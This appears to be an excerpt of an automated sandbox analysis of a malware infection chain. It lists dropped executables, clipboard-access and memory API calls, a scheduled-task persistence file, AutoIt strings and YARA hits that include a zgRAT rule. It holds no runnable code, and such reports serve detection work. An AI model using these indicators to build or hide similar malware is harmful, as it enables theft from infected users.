Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Code function: 7_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_004329C0

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Code function: 7_2_004329C0 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_004329C0

Source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_f484bb76-3

Source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_9f0100ef-d

Source: Yara match	File source: 41.3.08f77951f7.exe.5370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.08f77951f7.exe.5370000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.08f77951f7.exe.5370000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.08f77951f7.exe.5590000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3059290024.0000000005590000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 08f77951f7.exe PID: 1696, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: 59f3adca26.exe, 0000000D.00000000.2771790954.0000000000802000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_94822dda-5
Source: 59f3adca26.exe, 0000000D.00000000.2771790954.0000000000802000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_8a138b3c-f
Source: 59f3adca26.exe, 00000027.00000000.2973553457.0000000000802000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b8508c4f-8
Source: 59f3adca26.exe, 00000027.00000000.2973553457.0000000000802000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4b3e48fc-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: 7847e34378.exe.5.dr	Static PE information: section name:
Source: 7847e34378.exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: 2de5083afa.exe.5.dr	Static PE information: section name:
Source: 2de5083afa.exe.5.dr	Static PE information: section name: .idata
Source: 2de5083afa.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: 1375bfecca.exe.5.dr	Static PE information: section name:
Source: 1375bfecca.exe.5.dr	Static PE information: section name: .idata
Source: 1375bfecca.exe.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: .idata
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name:
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: .idata
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	11_2_6CF1ED10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF5B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6CF5B700
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF5B8C0 rand_s,NtQueryVirtualMemory,	11_2_6CF5B8C0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF5B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	11_2_6CF5B910
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_6CEFF280

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407049	0_2_00407049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408860	0_2_00408860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004078BB	0_2_004078BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D8101	0_2_004D8101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004031A8	0_2_004031A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4B30	0_2_003C4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402D10	0_2_00402D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4DE0	0_2_003C4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F7F36	0_2_003F7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040779B	0_2_0040779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE78BB	1_2_00AE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE8860	1_2_00AE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE7049	1_2_00AE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE31A8	1_2_00AE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AA4B30	1_2_00AA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AA4DE0	1_2_00AA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE2D10	1_2_00AE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE779B	1_2_00AE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AD7F36	1_2_00AD7F36
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_029F1398	6_2_029F1398
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_029F0F58	6_2_029F0F58
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_051C44B8	6_2_051C44B8
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_051C0040	6_2_051C0040
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_051C44A8	6_2_051C44A8
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_051CA858	6_2_051CA858
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 6_2_051CA868	6_2_051CA868
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00408850	7_2_00408850
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00423860	7_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004218A0	7_2_004218A0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0042DA53	7_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043ECA0	7_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00437DF0	7_2_00437DF0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004096C1	7_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004266D0	7_2_004266D0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043F720	7_2_0043F720
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00415799	7_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00438810	7_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041682D	7_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004288CB	7_2_004288CB
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D880	7_2_0043D880
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00430940	7_2_00430940
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00403970	7_2_00403970
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00420939	7_2_00420939
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004179C1	7_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004231C2	7_2_004231C2
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004241C0	7_2_004241C0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043B1D0	7_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004291DD	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004199EE	7_2_004199EE
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D980	7_2_0043D980
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00405990	7_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00422190	7_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D997	7_2_0043D997
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D999	7_2_0043D999
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004091B0	7_2_004091B0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00416263	7_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0040EA10	7_2_0040EA10
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00415220	7_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00419A23	7_2_00419A23
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004252DD	7_2_004252DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041B2E0	7_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00406280	7_2_00406280
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043DA80	7_2_0043DA80
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041E290	7_2_0041E290
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041CB40	7_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D34D	7_2_0043D34D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00426B50	7_2_00426B50
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043DB60	7_2_0043DB60
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00436B08	7_2_00436B08
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0042830D	7_2_0042830D
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00404320	7_2_00404320
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00425327	7_2_00425327
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00408330	7_2_00408330
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043F330	7_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0042A33F	7_2_0042A33F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0040DBD9	7_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00424380	7_2_00424380
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041FC75	7_2_0041FC75
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041DC00	7_2_0041DC00
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00429C2B	7_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004291DD	7_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004074F0	7_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0040ACF0	7_2_0040ACF0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041148F	7_2_0041148F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0042AC90	7_2_0042AC90
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0040CD46	7_2_0040CD46
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00437500	7_2_00437500
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00422510	7_2_00422510
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00417DEE	7_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00409580	7_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041759F	7_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00425E70	7_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00436E74	7_2_00436E74
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00427603	7_2_00427603
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00425E30	7_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004286C0	7_2_004286C0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043AEC0	7_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_004236E2	7_2_004236E2
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00405EE0	7_2_00405EE0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041DE80	7_2_0041DE80
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00402F50	7_2_00402F50
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00420F50	7_2_00420F50
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00438F59	7_2_00438F59
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00406710	7_2_00406710
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00423F20	7_2_00423F20
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00419F30	7_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0041E7C0	7_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0042DFE9	7_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0040A780	7_2_0040A780
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00411F90	7_2_00411F90
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00418792	7_2_00418792
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043EFB0	7_2_0043EFB0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEF35A0	11_2_6CEF35A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF36CF0	11_2_6CF36CF0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFD4E0	11_2_6CEFD4E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1D4D0	11_2_6CF1D4D0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF064C0	11_2_6CF064C0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF534A0	11_2_6CF534A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF5C4A0	11_2_6CF5C4A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF06C80	11_2_6CF06C80
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF6545C	11_2_6CF6545C
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF05440	11_2_6CF05440
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF6542B	11_2_6CF6542B
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF35C10	11_2_6CF35C10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF42C10	11_2_6CF42C10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF6AC00	11_2_6CF6AC00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF585F0	11_2_6CF585F0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF30DD0	11_2_6CF30DD0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF20512	11_2_6CF20512
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1ED10	11_2_6CF1ED10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF0FD00	11_2_6CF0FD00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF0FEF0	11_2_6CF0FEF0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF676E3	11_2_6CF676E3
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFBEF0	11_2_6CEFBEF0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF54EA0	11_2_6CF54EA0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF15E90	11_2_6CF15E90
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF5E680	11_2_6CF5E680
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF66E63	11_2_6CF66E63
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFC670	11_2_6CEFC670
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF19E50	11_2_6CF19E50
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF33E50	11_2_6CF33E50
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF14640	11_2_6CF14640
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF42E4E	11_2_6CF42E4E
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF59E30	11_2_6CF59E30
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF37E10	11_2_6CF37E10
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF45600	11_2_6CF45600
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF26FF0	11_2_6CF26FF0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFDFE0	11_2_6CEFDFE0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF477A0	11_2_6CF477A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF37710	11_2_6CF37710
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF09F00	11_2_6CF09F00
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1C0E0	11_2_6CF1C0E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF358E0	11_2_6CF358E0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF650C7	11_2_6CF650C7
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF260A0	11_2_6CF260A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF3F070	11_2_6CF3F070
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF18850	11_2_6CF18850
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF1D850	11_2_6CF1D850
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF3B820	11_2_6CF3B820
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF44820	11_2_6CF44820
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF07810	11_2_6CF07810
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF2D9B0	11_2_6CF2D9B0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CEFC9A0	11_2_6CEFC9A0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF35190	11_2_6CF35190
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF52990	11_2_6CF52990
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF4B970	11_2_6CF4B970
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF6B170	11_2_6CF6B170
